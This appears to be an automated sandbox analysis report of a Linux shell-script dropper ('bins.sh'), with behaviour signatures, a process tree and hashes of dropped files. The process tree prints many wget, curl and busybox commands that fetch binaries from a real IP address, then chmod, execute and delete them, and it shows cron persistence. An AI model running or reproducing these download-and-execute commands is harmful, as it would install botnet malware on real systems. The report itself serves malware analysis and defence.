Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    06/11/2024, 01:15

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241106-bmcrlsvmbr
  • SHA256 cc685abb25c89411a283ec172171d2c67e2914ed59556ea4c15d6d71cf36ab1d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2081) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:692
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:695
        • /usr/bin/wget
          wget http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:697
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:722
        • /bin/chmod
          chmod 777 sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • File and Directory Permissions Modification
          PID:723
        • /tmp/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          ./sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Executes dropped EXE
          PID:724
        • /bin/rm
          rm sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
            PID:726
          • /usr/bin/wget
            wget http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Writes file to tmp directory
            PID:727
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Writes file to tmp directory
            PID:730
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            ./aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:755
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:757
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:758
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:760
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:762
                • /bin/rm
                  rm aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                  2⤵
                    PID:774
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                    2⤵
                      PID:779
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                      2⤵
                        PID:782
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                        2⤵
                        • Writes file to tmp directory
                        PID:864
                      • /bin/chmod
                        chmod 777 Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                        2⤵
                        • File and Directory Permissions Modification
                        PID:877
                      • /tmp/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                        ./Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                        2⤵
                        • Executes dropped EXE
                        PID:878
                      • /bin/rm
                        rm Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                        2⤵
                          PID:880
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                          2⤵
                            PID:881
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                            2⤵
                              PID:886
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                              2⤵
                              • Writes file to tmp directory
                              PID:887
                            • /bin/chmod
                              chmod 777 Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                              2⤵
                              • File and Directory Permissions Modification
                              PID:892
                            • /tmp/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                              ./Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                              2⤵
                              • Executes dropped EXE
                              PID:893
                            • /bin/rm
                              rm Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                              2⤵
                                PID:895
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                                2⤵
                                  PID:896
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                                  2⤵
                                    PID:897
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:898
                                  • /bin/chmod
                                    chmod 777 BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:899
                                  • /tmp/BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                                    ./BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                                    2⤵
                                    • Executes dropped EXE
                                    PID:900
                                  • /bin/rm
                                    rm BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                                    2⤵
                                      PID:903
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                                      2⤵
                                        PID:904
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                                        2⤵
                                          PID:905
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:906
                                        • /bin/chmod
                                          chmod 777 glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:911
                                        • /tmp/glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                                          ./glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                                          2⤵
                                          • Executes dropped EXE
                                          PID:912
                                        • /bin/rm
                                          rm glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                                          2⤵
                                            PID:916
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                            2⤵
                                              PID:917
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                              2⤵
                                                PID:920
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:926
                                              • /bin/chmod
                                                chmod 777 USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:941
                                              • /tmp/USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                                ./USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                                2⤵
                                                • Executes dropped EXE
                                                PID:943
                                              • /bin/rm
                                                rm USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                                2⤵
                                                  PID:945
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                                  2⤵
                                                    PID:947
                                                  • /usr/bin/curl
                                                    curl -O http://216.126.231.240/bins/p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                                    2⤵
                                                      PID:950
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:952
                                                    • /bin/chmod
                                                      chmod 777 p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:959
                                                    • /tmp/p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                                      ./p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:960
                                                    • /bin/rm
                                                      rm p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                                      2⤵
                                                        PID:962
                                                      • /usr/bin/wget
                                                        wget http://216.126.231.240/bins/cK8Rz6M55WCLsdN6mz0NBK4irXuKnkre7W
                                                        2⤵
                                                          PID:963

                                                      Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9

                                                            • Path /tmp/BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                                                            • Size 151KB
                                                            • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A

                                                            • Path /tmp/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                                                            • Size 107KB
                                                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg

                                                            • Path /tmp/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                                                            • Size 98KB
                                                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh

                                                            • Path /tmp/USwxcJPZWHISUOcQEZnrWyugTCN6Y8C0Bh
                                                            • Size 99KB
                                                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx

                                                            • Path /tmp/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                                                            • Size 151KB
                                                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u

                                                            • Path /tmp/glexprhDELBGmLLkkoYuNgoBhZ9xgXJI6u
                                                            • Size 117KB
                                                            • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij

                                                            • Path /tmp/p3ndmgw00mZ00I1OI2lsuupmlykeCCQ9Ij
                                                            • Size 127KB
                                                            • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD

                                                            • Path /tmp/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
                                                            • Size 177KB
                                                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            tmp.J5NDOc

                                                            • Path /var/spool/cron/crontabs/tmp.J5NDOc
                                                            • Size 210B
                                                            • SHA256 fb232ec0775dc1e22759667a61531044a12b2b4c7ac3815bfa1c3466cf697b24
                                                            • MD5 SHA1 SHA512